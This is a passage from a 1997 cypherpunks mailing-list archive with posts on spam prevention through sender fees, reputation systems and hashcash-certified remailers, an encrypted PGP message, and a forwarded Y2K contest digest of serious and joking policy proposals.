say, $1000. joe schmoe would charge, say, $1. an interesting
part of this model is that if someone you like sends you mail,
including the fee, there is nothing to prevent you from reimbursing
them in a return message (or paying their own fee with the money
they supply). such a system would be a very powerful spam
prevention system. (due credit goes to TCM for being one of the
first for advocating this.)


however, I would like to suggest that spam prevention is a great
test for a *reputation*system*, something we have talked about
a long time here but found it very difficult to implement. the
reputation system would rate people based on their lack of email
complaints, and allow queries that could screen email based on
poor ratings. such a system would not immediately block spam,
but it could be implemented in a way such that spam becomes far
less powerful.

there are two problems with spam that any designer has to confront.
there are some internet providers who do not want their users to spam.
if they inserted a few header into the outgoing mail such as the 
following, it would allow excellent screening heuristics:

1. total bytes sent through this email address.
2. total age of this account in days.

the sender is free to calculate the ratio if it prefers, or use 
various heuristics on the straight values themselves.

now, I consider this pretty easy. the more difficult problem is
that there are some IPs that do not wish to ban spammers-- they
may be making a business out of it. a reputation system that
weeds out these sites may be buildable-- but it's the most
difficult problem.

I think a lot of fame and glory will go to someone who invents
effective spam prevention mechanisms-- increasingly I think the
future of cyberspace depends on solving this very difficult
and seemingly intractable problem.

(if anyone can point me to a mailing list that focuses on technical
spam prevention, I'd appreciate it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 14 Dec 1997 10:29:04 +0800
To: cypherpunks@toad.com
Subject: Y2K ANNOUNCE>> If I were President/Dictator
Message-ID: <199712140219.UAA02463@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



>Date: Fri, 12 Dec 1997 09:06:22 -0600 (CST)
>To: Year2000.com-Announcement-List@year2000.com
>From: Year2000_Outbound_Mail_See_Below@year2000.com
>Subject: Y2K ANNOUNCE>> If I were President/Dictator
>Sender: owner-year2000-announce@year2000.com
>
>Last month Peter de Jager announced a contest to submit
>suggestions about what you would do about the year 2000
>problem if you were president (of any country) for a day.
>Peter also suggested that humorous entries be submitted
>with the title "If I were supreme dictator!"  Below you
>will find the winning entries along with some of the
>honorable mentions.  --Cliff Kurtzman
>
>--------------------------------------------------------
>Greetings folks,
>
>    The "If I were President" contest winner (out of 99
>entries) is Nancy L. Osterhaus.  The "If I were Dictator"
>contest winner (out of 20 entries) is Richard Kennard.
>You will find both entries below, along with a number of
>the honorable mentions.
>
>    Contests are tough... I find a 'winner' out of the
>many good and excellent submissions to always come down
>to a handful of choices... and choosing at that point
>is honestly a random event. It is seldom a winner is a
>'certain' winner. Nancy... you won... and the others?
>several came very close and two others were a toss up.
>
>    The "If I were Dictator" entries were even tougher
>to judge. Especially since after awhile... some were
>beginning to make sense!!! (I need to get a life!)
>Sad thing is... some of these are considered as serious
>suggestions by some of the people I've spoken with over
>the years.
>
>
>  I can only do my best...
>  Peter de Jager, pdejager@year2000.com
>========================================================
>
>
>IF I WERE PRESIDENT
>===================
>
>Winning Entry:
>
>From: "Nancy L. Osterhaus"
>To: pdejager@year2000.com
>Date: Tue, 21 Oct 1997 16:55:37 -0500
>Subject: If I were President
>
>Action Items:
>
>1.  Communication to the world the magnitude of the problem, the real
>issues, the real impact
>
>This is a denial project.   Most people do not understand the impact of the
>year 2000 on them.. on their lifestyle, the way they do business, and their
>health and future.  I work in a large company that has a strong awareness
>campaign, but during my "time off" talk to local businesses, hospitals,
>etc.   They are very unaware of the issues.  If the grand Y2K world-wide
>project, is to succeed, we need to get past the first phase ....
>Communication & Commitment.  The president could enable this by holding a
>Town Meeting with a panel of experts to explain the problem, impact,
>solution, and government plans for compliance.
>
>2.  Commitment to prioritize and repair of what he's responsible for
>(Government systems, banking, infrastructure, etc.)
>
>Publishing a plan to show people that this is a serious issue, and the
>government has taken the step of prioritizing their systems and developed a
>plan to ensure compliance.  Publish the individual department plans,
>lessons learned, etc.
>
>3.  Publicly report on the progress of government Y2K projects on a regular
>basis (at least quarterly)
>
>Report to the nation and to the world on the progress of year 2000
>compliance in the government sector.  By providing regular updates to the
>nation we will gain increased awareness of the issues and in addition we
>can hold our government accountable for their projects and progress towards
>compliance.
>
>Nancy
>
>==========================================================================
>
>And here are a selection of other suggestions: Some of the good ones,
>most of the great ones and a handful of ringers. You decide which is which.
>Yours truly, Peter.
>
>From: "Dyer, Wayne"
>
>1. Request congress to modify tax code
>        The costs of a company making corrections for Year 2000 should be
>considered an investment in the future - therefore they should be
>treated favorably at tax time. Everything possible should be done to
>encourage companies to deal with the problem - and tax policy is the key
>way to influence business decisions.
>
>2. Limit year 2000 liability
>        The year 2000 problem was caused by "standard practices" in the
>software industry. No company should have to worry about mega lawsuits
>because of year 2000. Companies can be held accountable for the quality
>of their products, but absolutely nothing will be gained by shareholder
>suits against companies merely because they didn't start early enough to
>fully correct the problem
>
>3. Change Social Security earnings limits
>        Retired programmers should be encouraged to "come out" of
>retirement to
>work on year 2000. Because social security benefits are reduced for each
>dollar earned above a set limit, many will probably not want to work.
>This limit should be waived for people working on YR2K.
>-------------------------------------------------------------------------
>From: Kevin Whelan
>
>1. Require Y2K preparedness report from all organizations.
>Require all organizations to file a standard report that would be
>available via Internet on their Y2K preparedness status.
>
>2. All software/hardware vendors publish Y2K info on Internet.
>Require all manufacturers and software vendors to publish by specific
>model and/or version the Y2K compliance status of each of their products in
>use, to be viewable on the Internet.
>
>3. Monthly Y2K TV program during prime time.
>The government will sponsor an hour Y2K awareness TV program monthly
>during prime time from 1998 until it's over.
>
>Kevin
>-------------------------------------------------------------------------
>From: Iain MacKenzie
>
>1. Raise awareness. Real awareness. Tell the people that this is a *real*
>problem, on *all* makes, models, types of computer. Tell them that
>*everything*
>should be checked. Explain *why*. Explain the difference between 'is
>capable of
>storing' and 'is actually populated with' and the connection this has to
>2-digit data entry, for example.
>
>2. Explain what every computer-owner should be doing. Tell them what they need
>to do to check and resolve their own problems. This is the 'facts and data'
>part of the message.
>
>3. Talk about scheduling and panic. There *is* time to fix the problem. (There
>*has* to be, the time is fixed. We (Y2k folk) will have to vary our
>solution as
>time goes by). If all companies establish a plan and follow it we will all end
>up with a h*** of a party on 31/12/1999 but no major problems. A sort of 'Your
>*Company* Needs YOU' message.
>-------------------------------------------------------------------------
>From: "Mau, Michelle"
>
>IF I WERE A PRESIDENT..
>1.      Make Giants Pay
>Make  the major  computer giants - SUN, IBM, MICROSOFT, SAP, ORACLE,
>etc, to contribute $1 billion each for each year  until the year 2001 to
>fund the awareness campaign of the y2k. The idea is to highlight the
>criticality side of y2k which is a business problem - not just an IT
>problem. Everyone from floor operations right through to the  middle
>management up to the senior management should be aware of this bug and
>its impact to the running of the business.  School children should also
>have some idea what this is all about as they are our growing IT
>customers.  Most of  them are already familiar with the Internet and
>computer games.  It is time for IT to lift its game and include everyone
>on y2k - equity through IT is great to break down the social barriers
>and the barriers of haves and haves-not.
>
>2.      TAX   Incentives
>Have an incentive program for SMEs (Small and Medium sized enterprises)
>to have at least 70 percent tax deductions for their expenses in
>managing and fixing y2k bug before Dec 31, 1999. After Dec 31, 1999, the
>tax deduction will be lowered to 30 percent so that these organisations
>will be motivated to start their y2k project now than later to make such
>claims from their tax.  This is already happening in Singapore. It will
>be great if developed nations like Australia could bring this policy
>into effect immediately rather than leaving it a bit  too late.  SMEs
>are the backbone of the industries in this country and they should be
>assisted and motivated to launch their y2k project.  y2k compliance
>definition and testing tools should be made available to everyone via
>the NET, brochures and awareness campaign which I have already
>mentioned.  Perhaps the example set by our Victoria Premier Jeff Kennett
>in providing  jobs  to the unemployed to test software compliancy with
>y2k using a set of standard tools  should be applauded.
>
>3.      Product Compliance Info through the NET
>Use the web to publicise which products are y2k compliant. If these
>products are not yet compliant, where do users get more updated info and
>when will these products be compliant? Which version or model? What
>course of action is recommended to users - retire, replace or risk it?
>What about products which have embedded technology  that may have impact
>on the organisation?
>-------------------------------------------------------------------------
>From: "Dyer, Wayne"
>
>1. Request congress to modify tax code
>       The costs of a company making corrections for Year 2000 should be
>considered
>an investment in the future - therefore they should be treated favorably at
>tax time. Everything possible should be done to encourage companies to deal
>with the problem - and tax policy is the key way to influence business
>decisions.
>
>2. Limit year 2000 liability
>       The year 2000 problem was caused by "standard practices" in the
>software
>industry. No company should have to worry about mega lawsuits because of year
>2000. Companies can be held accountable for the quality of their products,
>but absolutely nothing will be gained by shareholder suits against companies
>merely because they didn't start early enough to fully correct the problem
>
>3. Change Social Security earnings limits
>       Retired programmers should be encouraged to "come out" of retirement
>to work
>on year 2000. Because social security benefits are reduced for each dollar
>earned above a set limit, many will probably not want to work. This limit
>should be waived for people working on YR2K.
>-------------------------------------------------------------------------
>From: Noel Goyette
>
>1.  Fire the head (not the CIO) of agencies which have not made real
>progress now.  Time is a lever which is rapidly getting shorter, and
>agencies are laying this problem on the CIOs without resources.
>
>2.  Get the SEC to investigate the real Y2K project status of industry,
>starting with the embedded systems in the utilities.
>
>3.  Reconsitute the Continuity of Operations Plans of the federal
>government, which have been abandonded and unfunded as a result of the end
>of the cold war.
>-------------------------------------------------------------------------
>From: "Joe Allegra"
>
>1.  Convene a meeting for a couple of days in Washington DC with
>Government and Business Leaders to discuss this issue.  I would prep
>the meeting by coming up with a list of 10 questions that CEOs need
>to ask themselves.  For example:  Do you a credible plan to become
>Year 2000 compliant?  How big is this IT project relative to other
>IT projects?  Has your IT staff ever attempted a project of this
>size?  What is the track record of your IT department in completing
>large projects on time? If you lost all of your computer systems,
>what would be the impact to your business.  etc. etc.  I would also
>bring in people that could document through real live experiences
>how big the project really is.
>
>Having a Washington based meeting convened by the President would get
>the media into this in a big way.
>
>2.  I would convene a high level group to monitor and report monthly
>on the compliance activities of the key sectors of the economy.
>Alan Greenspan to monitor the banking system; others to monitor
>transportation, power, telecommunications.
>
>3.  I would ask the Group of 7 (or is it 8) countries to convene a
>special meeting to discuss this issue at the president/prime minister
>level.
>-------------------------------------------------------------------------
>From: Eugene Hatting
>
>1)      Institute legislation that ALL government institutions must have
>started taking adequate steps by December 1997, in order to address the
>year 2000 problem.
>
>2)      Institute legislation that all large non-governmental
>companies/corporations who make a positive contribution towards the
>economy, must have started taking adequate steps by December 1997, in order
>to address the year 2000 problem.
>
>Hefty penalties and possible criminal prosecutions could follow if the
>above institutions do not abide by these rulings.
>
>3)      I would institute certain tax benefits or other insensitives to
>those companies who have taken adequate steps to address the problem and/or
>who have obtained year 2000 compliance (as defined by my governmental
>department) by date  x.
>-------------------------------------------------------------------------
>From: Yvonne Rediger
>
>1.  Tax break/incentive program for companies that are compliant by a
>specific date.
>        The companies would have to prove compliancy by a set of citeria,
>put in
>place by a board, and that      board would award #2.
>
>2.  A CSA approved Logo.
>        The Logo could be placed on their products and displayed on
>advertising
>etc.  proclaiming them Year 2000 Compliant.  Thus selling insurance that
>their company will be around in the coming years.  Right now any company
>can make that claim.
>
>3.  Make government departments set specific delines for their own
>compliancy and stick to them.
>-------------------------------------------------------------------------
>From: Dr. Ibrahim El-Miligi
>
>a) Set up a presidential working group (please not a committee) to over see
>that :-
>       * All government and semi-government  organizations have or set up a
>plan and initiated action to be Y2K compliant. If not then some penalties
>should be levied (including the firing of some heads)
>        * Should report to me regularly in special meeting of cabinet
>ministers.
>
>b) Media awareness! Medial will be instructed to focus on the Y2K problem
>with interviews, discussion groups, research programs, case studies .. etc.
>I noticed in my country that there is a miserable state of media awareness!!
>
>c) I will sponsor conferences and other forums to give the right perspective
>to the public of the seriousness of the problem.
>-------------------------------------------------------------------------
>From: Rick Mol
>
>The government should not be in the business decision business.  The year
>2000 issue is basically an issue for the various companies to solve
>themselves.
>
>Historically, when government gets involved in making these types of
>decisions, it doesn't do near as good of a job as the free market.  What we
>would end up with is a series of legislative fiats that are made by people
>that have no concept of the problem.  They seem to have this idea that "we
>can pass a law and fix this".  What will happen is that this will cost the
>industry money and add more requirements.
>So, if I were President, I'd get out of the they way and let industry solve
>it themselves.  They will do a MUCH better job than legislation will.
>-------------------------------------------------------------------------
>From: Barry Blauer
>
>     1. Appoint a leader:
>        Choose a project leader to direct a project to make the entire
>        government (our enterprise) compliant for the Year2000.  Give this
>        person authority to marshall the resources, establish the plan, and
>        direct the effort.
>
>     2. Issue the challenge:
>        Request every direct report to deliver a complete plan of handling
>        the Year2000 problems within his/her organization, including
>        resource requirements,  Require prioritization from each group,
>        identifying mission-critical systems which would cause disasters if
>        they were allowed to fail.  The plan needs to include a completion
>        date of 12/31/1998 for all renovation.
>
>     3. Inform the customers:
>        Develop a mechanism to report to the public the regular progress of
>        the project, within national security boundaries.  Challenge
>        private industry to follow our lead, to ensure the entire country
>        will be prepared when the clock rolls over.
>-------------------------------------------------------------------------
>From: MATTHEW CHAPMAN
>
>1) Ensure that there was a "Year 2000 Czar"  in charge of Government
>compliancy.  This position/person would be chartered with first
>establishing the state of where the Federal Government stands as a
>whole in the scope of making the government systems Y2K compliant.
>The fist "charter" of this Czar, would be to make sure the military is at the
>head of the list, and that all possible scenarios are being investigated,
>analyzed, and ultimately made to be compliant.
>
>2) I would personally address my fellow world leaders with the same
>charge, for them to actively pursue this issue as a "top" priority, once
>again with initial focus on their weapons stockpiles and missile silos.
>
>3) I would provide periodic updates to the nation, as to the status of the
>country as a whole.  This would acknowledge the Y2K issue as one of
>importance, that should not be ignored or postponed any longer.
>-------------------------------------------------------------------------
>From: Ric Kelperis
>
>     1) Recognize the importance of resource continuity, and waive taxes
>     for all I/S employees that maintain their current employment. This
>     would not only incent people to stay where they are, but to perform
>     well also.
>
>     2) Assign a United States Year 2000 Secretary
>
>     3) Require a public quarterly status report from all departments of
>     government.
>
>     4) Require independent certification for all life threatening
>     situations, such as air traffic controlling software, etc.
>-------------------------------------------------------------------------
>From: "William Baker"
>
>1. Assess the outcome which is most predictable, given the
>    actions in motion in government and the private sector.
>    Charter a highly visible and media exposed team to report
>    this assessment by Q1 1998.
>
>2. Pass legislation limiting legal and liability ramifications of
>    non-compliant systems, try to avoid a disaster in the courts,
>    frivolous law suits, and the destruction of the US economy
>    by lawyers.
>
>3. Establish a SWAT team ( or teams ) which can be directed at
>    the most serious problems of internal and interfacing
>    conversion and education issues within pinpointed Federal
>    government " hot spots."
>-------------------------------------------------------------------------
>From: nara
>
>Rename the year after 1999 as 199A (A for 10 in hex):
>
>Call an international conference of all world leaders (UN would have
>served a useful purpose) and rename the year after 1999 as 199A.
>
>Declare 'A' as a character as well as a integer in all new programs.
>
>This would at least buy us some time and name the year after 199A as
>2000.  We can buy more time by renaming the following year as 199B and
>so on...
>-------------------------------------------------------------------------
>From: John Austin
>
>1.      Let the public know.  The American public is still mostly unaware
>that there is a problem.  The president needs to let the American public
>know that everyone may have problems in 2000 or even before--and that it
>might be your bank, gas station, power company, etc. that might fail.
>
>2.      Wake the US government up.  Many agencies still have not got a
>workable Year 2000 plan.  Chief concerns are the Defense Department and
>the IRS (which finds itself asking for more and more money).  While more
>attention is being paid to the latter, with budget crunches we are
>likely to come a cropper on 1 January 2000 (or later).
>
>3.      Sell Y2K Budget to Congress.  To do all this will cost many many
>dollars.  A chief issue will of course be to get these increased budgets
>for these agencies through this Congress, which wants to cut deficits.
>A sales job showing that money spent now will save more later is needed.
>-------------------------------------------------------------------------
>From: "Vernon K. Jacobs"
>
>(1) begin the development of a backup system to substitute
>a national sales tax (either temporary or permanent) to secure
>government revenues when the IRS computer systems stop working
>after 12/31/99,
>
>(2) veto any legislation that will require added time and funds
>to be spent on computer systems to the extent that any new
>projects would compete with resources needed for the year-2000
>efforts
>
>(3) require an immediate study of all government agencies and
>activities that are not essential to the survival of the country
>and develop a plan to shut down the systems of those agencies
>or projects until all other agencies have become 2000-compliant.
>-------------------------------------------------------------------------
>From: "Bruins, David "
>
>First:
>I would request a press conference in the morning with representatives
>from both national news and computing periodicals.  Representatives from
>companies that have successfully converted their software  would be
>asked to attend and answer questions.  The emphasis would NOT be on what
>COULD happen, but on what to do to fix it so NOTHING happens.  Enough
>has been said on the potential problems and almost nothing has been said
>on how to fix it.
>
>Second:
>I would request that any Government organization that is still running
>this effort as a development project to halt the "development cycle" and
>start identifying and fixing code.  The point must be made clear that
>this is not a 'Development' project.  This is a system bug.  The process
>that is required to correct system bugs must be followed, not the
>development cycle.  We are not developing anything new, we are fixing
>code that does not work.
>
>Third:
>I would propose a bill that would require that all systems, that may
>cause the loss of human life due to a software or hardware failure due
>to the turn of the century, be certified by 12/01/1998.  All identified
>systems would be published, monthly up to that date and weekly after
>that date, as being certified or not certified.  Use of uncertified
>systems would be illegal after November 1999 attempted  manslaughter.
>The number 1 criteria for certification would be that the system can be
>tested for what will happen at the turn of the century.
>-------------------------------------------------------------------------
>From: "Rice, Bernie"
>
>1.      I'd use the bully pulpit.  Encourage public not to panic but to
>be aware, and encourage the business community to pool efforts to
>address the problem, like they did with regard to High Definition
>Television.
>2.      Establish a national telephone tree among Fortune 500 companies
>to allow them to assist each other in the event of a crisis in any one
>organization.
>3.      Take this unprecedented opportunity to deliberately dismantle
>the IRS as we know it.  If no one else does, Year-2000 complications
>undoubtedly will, and with no forethought at all.
>-------------------------------------------------------------------------
>From: Capers Jones
>
>1) Suspend anti-trust regulations for all year 2000 repairs and
>encourage key industries to pool their year 2000 work.  Key industries
>include banks, insurance, defense, telecommunications, airlines, public
>utilities, etc.
>
>2) Have the IRS issue a public statement that they will not
>automatically come after taxpayers whose returns are messed up due to
>year 2000 errors.  Since the IRS itself will probably not be compliant,
>this is the least they could do.
>
>3) Have the OMB publish a weekly update on year 2000 status of all
>federal agencies, with contact information on all Y2K offices so that
>citizens who have problems will know who to deal with.  This should
>start in January of 1999 if not earlier.
>-------------------------------------------------------------------------
>From: "Dominic Ng"
>
>     1) Setting up the standard for the Y2K problem solution
>
>        Nowaday, the Y2K solutions between different consulting firms
>        are different. If each systems are stand alone, well that's ok.
>        However, they are communicating with each other through EDI or
>        network, incompatibility between each system may worsen the
>        situation. Therefore solution standard is very important in
>        term of windowing or date format.
>
>     2) Asking the supervision from Federal Reserve department
>        and Technology department
>
>        In the Y2K problem, the most suffering group would be financial
>        institution because their business are highly depend on electronic
>        exchange in term of date calculation. For this reason, Federal
>        Reserve department and Technology department should supervise their
>        Y2K projects meeting the deadline. The main aim is to avoid the
>        crashdown of financial market.
>
>     3) Financial assistance for the poor companies
>        in Y2K project
>
>        Y2K project is a expensive project especially for the old system
>        because the skill is uncommon. Some small-sized or medium-size
>        companies may not be able to prepare resource for Y2K project
>        within a short period of time. Therefore government should provide
>        financial assistance such as loan for the poor companies in Y2K
>        project.
>-------------------------------------------------------------------------
>From: (no name only e-mail address)
>
>I would just ignore the whole year 2000 and leave it for the Republicans to
>deal with
>
>I would raise taxes to help the government deal with the problem and redirect
>the tax revenue to my pet projects
>
>I would assign the project to Hillary to set up a task force and raise public
>awareness and get them off my back about the other issues
>-------------------------------------------------------------------------
>
>
>============================================================
>============================================================
>============================================================
>============================================================
>============================================================
>
>
>IF I WERE DICTATOR:
>===================
>
>Here's richard winning entry.
>From: Richard Kennard
>Date: Thu, 23 Oct 1997 08:50:29 -0500
>
>"If I were supreme dictator"
>
>I'd give it to Hilary to fix.
>
>============================================================
>
>Honorable mentions:
>
>From: "jtepley"
>
>1) Declare martial law and appoint a Y2K Czar to triage government,
>industry, and company functions and systems.
>
>2) Draft anyone with professional computer experience, leaving 50% at their
>current employer and using the other 50% to work on high priority (triaged)
>government, industry, and company systems. Shoot selected protesters as
>examples.
>
>3) Pass and enforce a law that requires all citizens to "kiss their ass
>goodbye" every morning when they wake up until the year 2025.
>-----------------------------
>
>From: "Dyer, Wayne"
>
>1. Declare that year 2010 follows year 1999. Then declare that 1999 was
>really 2009, 1998 was really 2008, etc. etc. It would be much more
>efficient to just change all the dates in files without changing date
>logic. This would work in about 75% of the instances where companies only
>deal with a few years in the future or the past.
>
>2. Change our current 7 day a week calendar to a 10 day a week calendar.
>That way nobody would know what days of the week dates fell on in the past,
>so nobody would care if date logic was fouled up!
>
>3. Make anybody who screams about the imminent collapse of society on Jan
>1, 2000 write 10,000,000 times "I will not try to incite panic for my own
>benefit anymore".
>-----------------------------
>
>From: Brad_Balassaitis
>
>1. Copyright the Phrase "Year 2000"
>The first thing I would do is copyright the phrase "Year 2000" so that I
>could charge royalties (or sue for infringement as the case may be) every
>time it is printed, spoken, or even thought of. (I'm supreme dictator, so I
>can copyright common words!) I would make a fortune (which I would keep in
>cash under my mattress, of course).
>
>2. Collect the Royalties and Infringement Damages
>Next, I would assign the entire staff of the CIA to spend all of their time
>checking for copyright infringements, so that I could collect my rightful
>royalties and infringement damages.
>
>3. Move to a Country that is Compliant!
>Finally, I would move myself, my family, and my fortune to the first
>country that is totally year 2000 compliant!!! Thus, I have (a) made a
>fortune because of the problem, (b) put no thought, stress, or effort into
>solving it, and (c) gone to a place where the problem is already taken care
>of! (How truly American of me!)
>-----------------------------
>
>From: Eric de Katow
>
>Plan-A: Hire Superman to rotate the earth backward, just like he did to
>save Lois Lane, except he will go a couple years back. Then he will be in
>charge of convincing the World of the magnitude of the Y2K problem and need
>for readiness.
>
>Plan-B: Enact a law that will make the Year 2000 the Year 1900.
>
>Plan-C: Become a lawyer.
>-----------------------------
>
>From: Eugene
>
>1)      Have all calendars in America changed to tick over on 31 December
>1999, to 1900 when the clock strikes 12:00. All other countries (trade
>partners) would then just have to fit in with this arrangement (In South
>Africa we have a saying: "Adapt or Die").
>
>2)      In case some companies forgot to change their calendars to the
>above ruling, these companies/individuals will be forced to do business
>with ONLY those who are not year 2000 compliant and will pay a penalty of
>$1 000 000,00 per day for every day they are not compliant.
>
>3)      If the above two rules are not feasible, I would use the satellites
>which Bill Gates planes to have put into space, to automatically download
>the latest Windows 2000 and Office 2000 software on all computers across
>America. A rule would then be implemented that everybody WILL be forced to
>use the Microsoft products.
>-----------------------------
>
>From: Marilyn Nolin
>
>I would declare that when the year rolls over to 2000, it would actually be
>1900! Like any good politician, I would pass the buck to the next
>generations.
>
>-----------------------------
>
>From: Dr. I. El-Miligi
>
>Dear Peter,
>As in many countries (first, second or third world) scapegoats are required
>to celebrate the turn of the centure. So, if I were a Zomba King, this is
>what I would do :-
>
>a) Set up a royal commission headed by the most hated minister and assign
>to them to solve the year 2YK problem
>
>b) Set up another royal commision to see that the first commission does NOT
>achieve its goals
>
>c) Set up a court martial on the eve of the first day of the 21 first
>century to execute the responsible persons In this way, the blame is place
>somewhere the our good people will get rid the hated minister, Sorry, but
>the Y2K is not solved yet.
>
>May our royal blessings be with you,
>-----------------------------
>
>From: Herve Klein
>
>i would first ban all computers in my country and replace all of them with
>chinese type abacuses.
>
>second, it would create so many jobs that all economical crisis would
>disappear, giving all unemployed enough work for centuries : replacers of
>obsolete plastic computers by sweet wooden frames, manufacturers of modern
>automatic abacuses, finger assisted trainers, ...
>
>third, wait for 1st january 2000 world crisis to sell (high price) my
>nation's knowledge to all other worldwide countries in need as i would have
>become, then, a visionary precursor !
>
>-----------------------------
>
>From: "Rice, Bernie"
>
>If I were supreme dictator...
>1.      I'd Issue Year-2000 bonds. Lots of 'em. Redeemable when government
>computer (non-Y2K compliant) reaches 2000 AD (1999,1900,1901...)
>
>2.      Simplify things and decree AD 2000 shall be The Year of Rice One.
>(Well, Rice Zero, I suppose.)
>
>3.      Avoid holiday travel in year-end 1999.
>-----------------------------
>
>From: "Hughes, Rich"
>
>If I were Supreme Dictator/President Clinton for a day, what would I tell
>the world about the Year2000 problem? I would:
>
>1.) Tell the CIO's/CEO's of all american companies that this Year2000
>"problem" is a fabrication by some opportunistic consulting companies and
>that they really have nothing to worry about. If they haven't started by
>January 1998, let them die (their company) with dignity, don't point out
>their mismanagement.
>
>2.) Tell the world the truth, the US Federal Government has been treating
>this so lightly that many of the agencies are going to be so screwed up
>that they are going to have to hire 100,000's of thousands additional
>do-nothings at exorbitant salaries and that the average citizen is going to
>pay an additional $10,000 per year in income tax due to the poor planning
>by the government managers.
>
>3.) Wish the Republican president that follows him the best of luck in
>straightening out the mess.From: Tfshub@aol.com
>Date: Sat, 25 Oct 1997 10:48:10 -0400 (EDT) To: pdejager@year2000.com
>Subject: if I were supreme dictator
>
>I would announce a press release that welfare checks would be cut off
>and ask everyone to write to their representative and threaten to not elect
>them again if the problem was not solved. This would get the problem fixed
>in short order
>
>i would change the calendar so the problem would not happen
>we could just add another month to get us through the swearing in of the
>new president
>
>-----------------------------
>
>From: Norbert Fassotte
>
>I would simply shoot everyone who has a Y2K-problem.
>
>A problem is only a problem if you make it a problem. So if I shoot
>everyone who detects something and makes it a problem, I don't have a
>problem.
>-----------------------------
>
>From: mathew_hennessy
>
>...I'd remove any and all enforcement efforts towards Y2k compliance. I'd
>then buy up lots of precious metals, flee to the Bahamas, and watch gold
>prices spike above $1000/oz while the financial markets melt.
>
>Just a touch of fantasy before Halloween..
>-----------------------------
>
>From: Rob Janes
>
>If I were Dictator I would tell people to start at least 5 years ago on the
>Year 2000 problem.
>
>I used that approach and all the applications I am responsible for are in
>good shape. It's a lot of fun watching people going into panic mode now
>over the problem.
>
>-----------------------------
>
>From: harold.carruther
>
>1) Proclaim the every CEO must personally renovate and implement at least
>1,000,000 lines of COBOL code per year or be sentenced to death by being
>folded, spindled, and mutilated like a Hollerith card
>
>then
>
>2) Proclaim Bill Gates to be the official CEO for the remainder of the
>world he doesn't already control
>
>then
>
>3) Double the annual quota
>-----------------------------
>
>From: Conor Brankin
>
>If I were dictator I would announce that the year 2000 was a virtual
>concept, and that time shall revert to the year 1900, right after the year
>1999.
>
>This would give the developers another 100 years to get it sorted out.
>After all, we change an hour twice a year, why not a century one a
>millenium.
>-----------------------------
>
>That's all folks... Hope you enjoyed them...
>
>Have fun!
>Peter de Jager
>
>
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>please send an e-mail, **with your subscription e-mail
>address**, to us at owner-year2000-announce@year2000.com
>and explain what happened.  This usually occurs because you
>subscribed using a different address than your e-mail
>program reports as your return address.  Just send us the
>address you want removed at
>owner-year2000-announce@year2000.com and our (human) mail
>list administrator will help you out.
>
>This list is NOT the Year 2000 Discussion List.  If you need
>assistance with the Discussion List, please send
>correspondence to amy@year2000.com
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 14 Dec 1997 10:27:37 +0800
To: camcc@abraxis.com
Subject: Ad Gaolas Deliberandas
Message-ID: <199712140220.UAA02495@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

hQCMAyKJGkNBIH7lAQQAmSE8RzdFojIzCQTLlyfujHrcNjkINwzHFzcMolaME2gr
5RysDwIbQ1+jLZwRQzvFW19AryK5r+Sa4yU76+LETfxGVggJabgzqGyRO6Vp/aNL
R15XrxKFGyXAsJbcxiWc01yT26reR0cvsF9lX+KsDmrSN6zZ69Fi/omvQmiWt+SF
AQwDXg48hx0n2B0BCACVe36ytxuTkBfuOW7T1JId+3EW3GcUjFbg+6UR8mXSjspx
vFGhbXb2EHJ+loVa9eYF95LKneg2aRAfUNx8l6uMnWH15BuH3naYK7sbD+aw8RQw
SWJxHXyqpsWZetmrm5m51NLguliyxbw+RoKYvvhLuW+W3LzCWGIZfAFnbt25sMtB
SP4+Fk8zJrHCxBSS0Soh5wfsmCb7W3GOlzxHNIUisRXMKkDxVXD/MWzf2hhF5UIP
SeVsX8wNQM/PxyQZgVizFhiIHX/1WwrCnDOlTnWv/MnC5UZqwssO/FJx+u1kZ+BU
XNAmuu5Ie2snc0XnXoybP72ORnjHaA+OBQdZhpu6pOW9uNj+tRv8Ssp1xny1FB1i
ovXVeOWP9EbhZHpHPAvi5x5Vv9DFtU9n9nUsf72ji6S/NA6i+YMTp7qyThbLf95B
il6xpFiOobBQhHFv5xyZjt5SwfNeGIo1fGqLKpL7ljJSAXHtBoWA9VOENuBplsLc
D4909PoRUrLR81HefVf8g0hrh+hZO0a5TnAFynmZZrTUwz5wJ9KwsBQ2D+5im+xi
zLtfpRR9lIGFcLPsHZLEXZA8gaO8aJGmJKCOSOBb06dj9lEDqbikNhIMQVcJiPVj
5v1VrkFwUQPqfB/DQixXm7xwMlIG
=kEZy
-----END PGP MESSAGE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Uhh...this is Joe [Randall Farmer]" <rfarmer@HiWAAY.net>
Date: Sun, 14 Dec 1997 08:56:46 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net>
Message-ID: <Pine.OSF.3.96.971213175604.21501A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



> >> So, we would need about 44 hours of CPU time each day.
> >
> >Well, have a system of certified remailers trusted to force their users to
> burn
> >up time at the sending end, so the ultimate recipient accepts their messages
> >w/o postage. One certified remailer accepts messages from others without any
> >postage, so only the original sender has to use up CPU time. 
...
> Since we need hashcash now to LEAVE a remailer, not to enter one, where does
> this hashcash come from?  A busy remailer could not generate it's own
> hashcash for the destination non-remailer ISPs. 

This is exactly what I was addressing: remailers only have to get themselves
certified as remailers and then prove their certification to the destination
server, not do the whole hashcash shtick for every message. (For example, they
could publish their public key's hash signed by some anti-spam organization,
then sign the hash of the server's challenge to prove that they are a real
remailer, not an advanced spammer imitating one) 

> 
> Does the same hashcash that allows a message to enter the remailer network
> also retain it's validity once the message has been rewritten by the
> remailer?  Is this hashcash still valid for the destination mail server at
> netcom?  Does the initial sender provide two instances of hashcash, one to
> get into the remailer, and one to get into the destination mail system? 

Nope. The original sender provides hashcash to get into the remailer net, and
the receiver, after seeing the remailer's certificate, trusts that the original
sender spent some CPU time to send the message. The remailer doesn't have to
while away nearly as much of *its* CPU time, and spammers still couldn't send
many messages since they still have to waste their CPU cycles to do so. 

...
> 
